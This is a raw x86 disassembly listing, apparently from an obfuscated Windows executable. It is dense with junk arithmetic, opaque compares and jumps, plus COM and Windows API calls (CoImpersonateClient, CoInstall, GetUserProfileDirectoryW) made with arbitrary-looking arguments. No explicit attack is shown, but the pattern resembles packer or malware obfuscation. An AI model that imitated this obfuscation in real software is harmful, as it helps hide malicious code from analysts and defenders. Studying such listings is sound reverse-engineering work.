mov edx, dword [ebp - 0xa8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x48]
movzx ecx, word [ecx]
sar eax, cl
mov word [0x42a004], ax
mov edx, dword [ebp - 0x74]
mov eax, dword [edx]
or eax, dword [ebp - 0xc4]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0xe8]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x98]
shl edx, cl
mov dword [ebp - 0x64], edx
movzx eax, byte [0x42a006]
mov ecx, dword [ebp - 0x7c]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0xcc]
mov byte [ecx], al
movzx edx, word [ebp - 0xa4]
movzx eax, word [ebp - 0x20]
sub edx, eax
mov ecx, dword [ebp - 0xa8]
mov word [ecx], dx
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x58]
add eax, dword [ecx]
mov dword [ebp - 0xac], eax
mov edx, dword [ebp - 0x7ec]
add edx, 0x4d
mov dword [ebp - 0x7ec], edx
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x64]
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx]
mov edx, dword [ebp - 0x38]
mov dword [edx], eax
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xfc]
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xa8]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x104]
movzx eax, word [edx]
add ecx, eax
mov word [0x42a004], cx
mov ecx, dword [ebp - 0xd0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 6]
and edx, eax
mov byte [ebp - 3], dl
mov ecx, dword [ebp - 0x64]
sub ecx, dword [ebp - 0xc4]
mov edx, dword [ebp - 0x5c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0xe0], edx
movsx eax, byte [ebp - 1]
movsx ecx, byte [0x42ab08]
shl eax, cl
mov byte [ebp - 7], al
mov ecx, dword [ebp - 0x70]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xc]
xor edx, eax
mov ecx, dword [ebp - 0x70]
mov word [ecx], dx
mov edx, dword [ebp - 0x40]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x4c]
sar eax, cl
mov ecx, dword [ebp - 0xa8]
mov word [ecx], ax
jmp 0x4064d3
mov dl, byte [ebp - 7]
mov byte [ebp - 0xc54], dl
cmp byte [ebp - 0xc54], 0
je 0x406659
jmp 0x40670e
mov eax, dword [ebp - 0xb8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xd8]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0xcc]
mov byte [edx], cl
mov dword [ebp - 0x11c], 0x42ab0c
movzx eax, word [ebp - 0xa4]
movzx ecx, word [ebp - 0x18]
and eax, ecx
mov edx, dword [ebp - 0x48]
movzx ecx, word [edx]
movzx edx, word [ebp - 0x20]
sub ecx, edx
cmp eax, ecx
jle 0x4066ba
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x108]
sub ecx, dword [eax]
mov dword [section..data], ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x54]
add eax, dword [edx]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x88]
mov al, byte [edx]
mov byte [ebp - 0x9cc], al
cmp byte [ebp - 0x9cc], 0x37
je 0x4066ed
cmp byte [ebp - 0x9cc], 0x5a
je 0x4066dc
jmp 0x40670c
mov ecx, dword [ebp - 0x50]
sub ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x148], ecx
jmp 0x40670c
lea edx, [ebp - 0xec]
push edx
push 0x98
lea eax, [ebp - 0xedc]
push eax
call dword [sym.imp.ole32.dll_OleRegGetMiscStatus]
mov dword [ebp - 0x50c], eax
jmp 0x40676d
mov ecx, dword [ebp - 0x94]
mov edx, dword [ecx]
mov dword [ebp - 0xc58], edx
cmp dword [ebp - 0xc58], 0xe86775ff
je 0x40672a
jmp 0x40675c
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
add ecx, dword [section..data]
mov edx, dword [ebp - 0x58]
mov dword [edx], ecx
movzx eax, word [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x94]
mov edx, dword [ecx]
push edx
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0xa8]
mov cx, word [eax]
call fcn.00415de0
nop
jmp 0x40676d
movzx ecx, word [ebp - 0x18]
movzx edx, word [ebp - 0x4c]
add ecx, edx
mov word [ebp - 0xa4], cx
movzx eax, byte [ebp - 6]
movzx ecx, byte [ebp - 3]
sub eax, ecx
mov edx, dword [ebp - 0xd4]
mov byte [edx], al
mov eax, dword [ebp - 0x34]
and eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0x84]
mov ecx, dword [ecx]
shl edx, cl
cmp eax, edx
jl 0x414c05
cmp dword [ebp - 0x7f0], 0x7ef7
jbe 0x406a9d
mov eax, dword [ebp - 0x70]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x14]
sub ecx, edx
mov eax, dword [ebp - 0x70]
mov word [eax], cx
movsx ecx, byte [ebp - 1]
movsx edx, byte [ebp - 7]
sub ecx, edx
mov eax, dword [ebp - 0x60]
mov byte [eax], cl
mov ecx, dword [ebp - 0x64]
sub ecx, dword [ebp - 0xc0]
mov dword [ebp - 0x98], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3c]
add eax, dword [ecx]
mov dword [ebp - 0xac], eax
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x48]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xa8]
mov word [ecx], ax
movzx edx, byte [ebp - 4]
mov eax, dword [ebp - 0xd0]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 3], dl
mov edx, dword [ebp - 0xe8]
mov eax, dword [edx]
or eax, dword [ebp - 0xc4]
mov dword [0x42ab0c], eax
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0xb0]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x9c]
mov ecx, dword [section..data]
sar edx, cl
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0xec]
xor eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xe8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x4c]
and eax, ecx
mov word [ebp - 0x20], ax
movzx edx, byte [ebp - 5]
movzx eax, byte [ebp - 2]
sub edx, eax
mov ecx, dword [ebp - 0xcc]
mov byte [ecx], dl
mov edx, dword [ebp - 0x7f0]
sub edx, 0x56
mov dword [ebp - 0x7f0], edx
mov eax, dword [ebp - 0xf8]
sub eax, dword [ebp - 0x84]
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [section..data]
and edx, dword [ecx]
mov eax, dword [ebp - 0x30]
mov dword [eax], edx
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0xec]
add edx, dword [ecx]
mov dword [ebp - 0xc0], edx
mov eax, dword [ebp - 0x9c]
sub eax, dword [ebp - 0x54]
mov dword [section..data], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb0]
add edx, dword [eax]
mov dword [ebp - 0xac], edx
movsx ecx, byte [ebp - 7]
movsx edx, byte [ebp - 1]
add ecx, edx
mov eax, dword [ebp - 0x88]
mov byte [eax], cl
movsx ecx, word [ebp - 0x14]
movsx edx, word [ebp - 0xc]
add ecx, edx
mov word [ebp - 0x2c], cx
movzx eax, word [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x8c], ax
movzx edx, byte [ebp - 3]
movzx eax, byte [0x42a006]
or edx, eax
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x11c]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x74]
mov dword [eax], edx
mov ecx, dword [ebp - 0x84]
xor ecx, dword [section..data]
mov dword [ebp - 0x118], ecx
movzx edx, byte [ebp - 6]
mov eax, dword [ebp - 0xb8]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x104]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xa4]
add eax, ecx
mov word [0x42a004], ax
mov edx, dword [0x42ab0c]
sub edx, dword [ebp - 0x148]
mov eax, dword [ebp - 0x94]
mov dword [eax], edx
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x3c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], edx
mov edx, dword [ebp - 0xac]
sub edx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp - 0xc4]
and edx, dword [ecx]
mov eax, dword [ebp - 0xe8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb4]
add edx, eax
mov ecx, dword [ebp - 0x6c]
mov word [ecx], dx
mov edx, dword [ebp - 0x7c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x7c]
mov byte [ecx], al
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx]
sub eax, dword [ebp - 0xe0]
mov dword [ebp - 0xfc], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x58]
add edx, dword [eax]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], edx
mov edx, dword [ebp - 0x88]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x60]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [0x42ab08], al
movsx edx, byte [ebp - 7]
mov eax, dword [ebp - 0x60]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x88]
mov byte [eax], dl
movzx ecx, byte [ebp - 5]
mov edx, dword [ebp - 0xd8]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x7c]
mov byte [edx], cl
movzx eax, word [ebp - 0x8c]
mov ecx, dword [ebp - 0x48]
movzx ecx, word [ecx]
sar eax, cl
mov edx, dword [ebp - 0x40]
mov word [edx], ax
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x68]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0xe8]
mov dword [eax], edx
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ebp - 0x94]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x50], eax
jmp 0x40679d
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
add edx, dword [section..data]
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x3c]
add ecx, dword [edx]
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x30]
add edx, dword [eax]
cmp ecx, edx
jge 0x406bb3
mov ecx, dword [ebp - 0x140]
sub ecx, dword [ebp - 0xe0]
mov edx, dword [ebp - 0x58]
mov eax, dword [edx]
mov edx, dword [ebp - 0x1c]
add eax, dword [edx]
cmp ecx, eax
jge 0x406b42
movsx eax, word [ebp - 0xc]
mov dword [ebp - 0xc5c], eax
cmp dword [ebp - 0xc5c], 0x5ac4
je 0x406afc
jmp 0x406b1f
movzx ecx, byte [ebp - 7]
push ecx
mov edx, dword [ebp - 0xe0]
push edx
mov eax, dword [ebp - 0x9c]
push eax
mov dl, byte [ebp - 4]
mov ecx, dword [ebp - 0x80]
mov cl, byte [ecx]
call fcn.00416350
nop
jmp 0x406b40
push 0xdc
push 0xc4
push 0xcc
mov edx, dword [ebp - 0x6ac]
push edx
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0xa58], eax
jmp 0x406bae
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x84]
sub edx, dword [eax]
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x54]
sar eax, cl
cmp edx, eax
jne 0x406bae
movzx ecx, word [ebp - 0x8c]
mov dword [ebp - 0xb38], ecx
cmp dword [ebp - 0xb38], 0x311
je 0x406b9d
cmp dword [ebp - 0xb38], 0xec7
je 0x406b83
jmp 0x406bae
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xac]
shl eax, cl
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
call fcn.004157f0
nop
jmp 0x406bae
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xe0]
or eax, dword [edx]
mov dword [ebp - 0x84], eax
jmp 0x406c59
mov ecx, dword [ebp - 0x70]
movsx edx, word [ecx]
mov dword [ebp - 0x9d4], edx
cmp dword [ebp - 0x9d4], 0
je 0x406bd9
cmp dword [ebp - 0x9d4], 0x2ab3
je 0x406c22
jmp 0x406c59
mov al, byte [ebp - 4]
mov byte [ebp - 0xd], al
movzx ecx, word [ebp - 0xa4]
movzx edx, word [ebp - 0x20]
xor ecx, edx
mov word [0x42a008], cx
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x68]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x74]
mov dword [eax], edx
mov ecx, dword [ebp - 0x118]
mov dword [ebp - 0x114], ecx
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x58]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x3c]
mov dword [edx], ecx
jmp 0x406c59
push 0xf4
mov eax, dword [ebp - 0x48c]
push eax
push 0xa6
push 0xbf
lea ecx, [ebp - 0xa4]
push ecx
push 0xdc
push 0x58
lea edx, [ebp - 0xf8]
push edx
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x508], eax
mov dword [ebp - 0x7f4], 0x7a9a
mov dword [ebp - 0x80c], 0x943
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x9d8], eax
cmp dword [ebp - 0x9d8], 0
je 0x406c94
cmp dword [ebp - 0x9d8], 0x4fa35c8a
je 0x406dba
jmp 0x406e3c
movzx ecx, byte [0x42a006]
mov edx, dword [ebp - 0x7c]
movzx eax, byte [edx]
sub ecx, eax
movzx edx, byte [ebp - 5]
movzx eax, byte [ebp - 3]
sub edx, eax
cmp ecx, edx
jg 0x406d7c
movzx ecx, word [ebp - 0x4c]
mov dword [ebp - 0x9dc], ecx
cmp dword [ebp - 0x9dc], 0
je 0x406cdd
cmp dword [ebp - 0x9dc], 0xfed
je 0x406d66
jmp 0x406d7a
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
mov dword [ebp - 0x9e0], eax
cmp dword [ebp - 0x9e0], 0
je 0x406cff
cmp dword [ebp - 0x9e0], 0x64f8c55a
je 0x406d50
jmp 0x406d64
mov ecx, dword [ebp - 0x74]
mov edx, dword [ecx]
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x7f8], 0x14708
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 5]
add ecx, edx
mov byte [ebp - 4], cl
movzx eax, word [ebp - 0x18]
mov ecx, dword [ebp - 0x40]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xb4], ax
lea eax, [ebp - 0x14]
mov dword [ebp - 0xf4], eax
movsx ecx, byte [ebp - 1]
mov edx, dword [ebp - 0x60]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x42], cl
jmp 0x406d64
mov ecx, dword [ebp - 0x148]
or ecx, dword [0x42ab0c]
mov edx, dword [ebp - 0xe8]
mov dword [edx], ecx
jmp 0x406d7a
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x9c]
shl eax, cl
mov dword [ebp - 0xf8], eax
jmp 0x406db5
movsx ecx, word [ebp - 0xc]
mov edx, dword [ebp - 0x70]
movsx eax, word [edx]
add ecx, eax
movsx edx, word [ebp - 0x14]
movsx eax, word [ebp - 0x2c]
add edx, eax
cmp ecx, edx
je 0x406db5
movzx ecx, word [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0xb8]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
push edx
call fcn.00415390
nop
jmp 0x406e3c
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
mov dword [ebp - 0xc60], ecx
cmp dword [ebp - 0xc60], 0x8b0491d3
je 0x406dd6
jmp 0x406e29
movzx edx, byte [ebp - 0xd]
movzx eax, byte [ebp - 4]
xor edx, eax
mov ecx, dword [ebp - 0xb8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x104]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xb4], ax
lea edx, [ebp - 0x8b4]
push edx
push 0x8b
call dword [sym.imp.ole32.dll_GetRunningObjectTable]
mov dword [ebp - 0x510], eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
jmp 0x406e3c
mov ecx, dword [ebp - 0x74]
mov edx, dword [ebp - 0x11c]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0xec], eax
movzx ecx, byte [ebp - 3]
mov edx, dword [ebp - 0x90]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0xd8]
movzx eax, byte [edx]
mov edx, dword [ebp - 0xcc]
movzx edx, byte [edx]
add eax, edx
cmp ecx, eax
jne 0x414b46
lea eax, [ebp - 0x64]
mov dword [ebp - 0x120], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x30]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x3c]
mov esi, dword [ecx]
mov ecx, dword [edx]
shl esi, cl
cmp eax, esi
jne 0x414adc
mov al, byte [ebp - 2]
mov byte [ebp - 0xc64], al
cmp byte [ebp - 0xc64], 7
je 0x406ea2
jmp 0x406f0d
lea ecx, [ebp - 0xb0]
push ecx
lea edx, [ebp - 0xefc]
push edx
call dword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [ebp - 0x378], eax
mov eax, dword [ebp - 0x70]
movsx ecx, word [eax]
mov dword [ebp - 0x9e4], ecx
cmp dword [ebp - 0x9e4], 0x625
je 0x406ee2
cmp dword [ebp - 0x9e4], 0x7491
je 0x406ef8
jmp 0x406f08
movsx edx, byte [ebp - 7]
mov eax, dword [ebp - 0x88]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x60]
mov byte [eax], dl
jmp 0x406f08
movsx ecx, word [ebp - 0xc]
mov edx, dword [ebp - 0x70]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0x14], cx
jmp 0x414aa9
mov ecx, dword [ebp - 0x60]
mov dl, byte [ecx]
mov byte [ebp - 0x9e8], dl
cmp byte [ebp - 0x9e8], 0x13
je 0x406f5f
cmp byte [ebp - 0x9e8], 0x57
je 0x406f2c
jmp 0x406fa9
mov eax, dword [ebp - 0xd8]
movzx ecx, byte [eax]
movzx edx, byte [0x42a006]
sub ecx, edx
mov eax, dword [ebp - 0xb8]
mov byte [eax], cl
movzx ecx, word [ebp - 0xa4]
movzx edx, word [ebp - 0x8c]
add ecx, edx
mov word [0x42a004], cx
jmp 0x406fa9
lea eax, [ebp - 0x8b4]
push eax
mov ecx, dword [ebp - 0x354]
push ecx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [ebp - 0x64], eax
mov edx, dword [ebp - 0x120]
mov eax, dword [edx]
add eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x42]
push edx
mov eax, dword [ebp - 0xe0]
push eax
mov ecx, dword [ebp - 0x118]
push ecx
mov dl, byte [ebp - 3]
mov eax, dword [ebp - 0x60]
mov cl, byte [eax]
call fcn.00416350
nop
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp - 0xc4]
add edx, dword [ecx]
mov dword [ebp - 0x14c], edx
mov eax, dword [ebp - 0x70]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x14]
sub ecx, edx
movsx eax, word [ebp - 0x2c]
mov edx, dword [ebp - 0xf4]
movsx edx, word [edx]
sub eax, edx
cmp ecx, eax
jle 0x40704b
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x48]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x8c], cx
mov ecx, dword [ebp - 0xcc]
movzx edx, byte [ecx]
movzx eax, byte [0x42a006]
or edx, eax
mov ecx, dword [ebp - 0x7c]
mov byte [ecx], dl
push 0xd8
push 0x4e
push 0x41
mov edx, dword [ebp - 0x6a8]
push edx
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x788], eax
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x84]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x9c], edx
mov eax, dword [ebp - 0xa0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x50]
shr edx, cl
mov eax, dword [ebp - 0x11c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x48]
movzx edx, word [ecx]
mov dword [ebp - 0xc68], edx
cmp dword [ebp - 0xc68], 0x318
je 0x407068
jmp 0x40717b
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb4]
xor ecx, edx
movzx eax, word [ebp - 0x4c]
movzx edx, word [ebp - 0x20]
and eax, edx
cmp ecx, eax
je 0x407143
push 0x64
lea edx, [ebp - 0x6c4]
push edx
call dword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov dword [ebp - 0x6a4], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x108]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
add ecx, dword [eax]
mov dword [ebp - 0x118], ecx
mov dl, byte [ebp - 7]
mov byte [ebp - 0x92c], dl
cmp byte [ebp - 0x92c], 0x49
je 0x414b2f
cmp byte [ebp - 0x92c], 0x53
je 0x414af9
jmp 0x414b41
lea eax, [ebp - 0xb48]
push eax
call dword [sym.imp.ole32.dll_CoIsHandlerConnected]
mov dword [ebp - 0x930], eax
mov ecx, dword [ebp - 0x9c]
xor ecx, dword [ebp - 0xf8]
mov dword [ebp - 0x114], ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
jmp 0x414b41
mov edx, dword [ebp - 0xf4]
movzx eax, word [edx]
push eax
call fcn.00416160
add esp, 4
jmp 0x414be2
movzx ecx, byte [0x42a006]
movzx edx, byte [ebp - 0xd]
sub ecx, edx
mov eax, dword [ebp - 0x90]
movzx edx, byte [eax]
movzx eax, byte [ebp - 4]
sub edx, eax
cmp ecx, edx
je 0x414be2
call dword [sym.imp.ole32.dll_CoImpersonateClient]
mov dword [ebp - 0x3dc], eax
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0x34]
sub edx, dword [ecx]
mov dword [ebp - 0x9c], edx
mov eax, dword [ebp - 0xd0]
mov cl, byte [eax]
mov byte [ebp - 0xe98], cl
cmp byte [ebp - 0xe98], 0xa0
je 0x414b99
jmp 0x414bb0
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 0xb8]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0xd4]
mov byte [eax], dl
movzx ecx, word [ebp - 0x8c]
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x104]
mov word [edx], cx
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
movzx ecx, word [ebp - 0xc]
push ecx
call fcn.00416570
add esp, 4
mov edx, dword [ebp - 0x114]
sub edx, dword [section..data]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
movzx ecx, word [ebp - 0xc]
push ecx
call fcn.00416570
add esp, 4
jmp 0x414ca7
movzx edx, byte [ebp - 5]
mov eax, dword [ebp - 0xd0]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0xb8]
movzx eax, byte [ecx]
mov ecx, dword [ebp - 0x7c]
movzx ecx, byte [ecx]
xor eax, ecx
cmp edx, eax
jge 0x414ca7
lea edx, [ebp - 0x8b4]
push edx
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x2fc]
push ecx
lea edx, [ebp - 0x70]
push edx
call sub.VERSION.dll_VerQueryValueW
mov dword [ebp - 0x298], eax
mov eax, dword [ebp - 0x9c]
and eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
lea edx, [ebp - 0xedc]
push edx
mov eax, dword [ebp - 0x2fc]
push eax
mov ecx, dword [ebp - 0x504]
push ecx
call dword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
mov dword [ebp - 0x488], eax
mov edx, dword [ebp - 0x48]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x40]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0xa4], ax
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x90]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0xb8]
mov byte [edx], cl
mov eax, dword [ebp - 0x70]
movsx ecx, word [eax]
mov dword [ebp - 0xe9c], ecx
cmp dword [ebp - 0xe9c], 0x63af
je 0x414cc1
jmp 0x414cf8
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
or eax, dword [edx]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
lea edx, [ebp - 0x6a8]
push edx
push 0xe5
call dword [sym.imp.ole32.dll_CoGetMalloc]
mov dword [ebp - 0x508], eax
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x5c]
add ecx, dword [edx]
mov dword [ebp - 0x64], ecx
jmp 0x414d0b
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x140]
mov edx, dword [ebp - 0xb0]
mov dword [edx], ecx
jmp 0x414ddd
movsx eax, word [ebp - 0x14]
mov ecx, dword [ebp - 0x70]
movsx edx, word [ecx]
sub eax, edx
movsx ecx, word [ebp - 0xc]
movsx edx, word [ebp - 0x2c]
and ecx, edx
cmp eax, ecx
jne 0x414ddd
movzx eax, byte [ebp - 5]
movzx ecx, byte [ebp - 2]
sar eax, cl
mov byte [ebp - 4], al
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0xea0], ecx
cmp dword [ebp - 0xea0], 0x7de2fee9
je 0x414d52
jmp 0x414d6f
mov edx, dword [ebp - 0xa8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x8c]
xor eax, ecx
mov edx, dword [ebp - 0xa8]
mov word [edx], ax
jmp 0x414ddd
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0xb8]
push ecx
lea edx, [ebp - 0xb48]
push edx
push 0xd4
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ole32.dll_CoInstall]
mov dword [ebp - 0x3dc], eax
mov ecx, dword [ebp - 0x98]
or ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x84]
shl eax, cl
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
push 0
mov edx, dword [ebp - 0x6c0]
push edx
mov eax, dword [ebp - 0x6c4]
push eax
mov ecx, dword [ebp - 0x798]
push ecx
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0xe0], eax
push 0x22
lea edx, [ebp - 0x58]
push edx
push 0x96
lea eax, [ebp - 0xea4]
push eax
lea ecx, [ebp - 0xf1c]
push ecx
lea edx, [ebp - 0x934]
push edx
call dword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [ebp - 0x93c], eax
mov eax, dword [ebp - 0xcc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 5]
add ecx, edx
mov eax, dword [ebp - 0xb8]
mov byte [eax], cl
movzx ecx, word [ebp - 0x20]
mov dword [ebp - 0x938], ecx
cmp dword [ebp - 0x938], 0x960
je 0x414e47
cmp dword [ebp - 0x938], 0xebf
je 0x414eba
jmp 0x414edb
mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0xc0]
sub eax, dword [edx]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x70]
movsx edx, word [ecx]
mov dword [ebp - 0xea8], edx
cmp dword [ebp - 0xea8], 0x67bf
je 0x414e6f
jmp 0x414ea6
mov eax, dword [ebp - 0x1c]
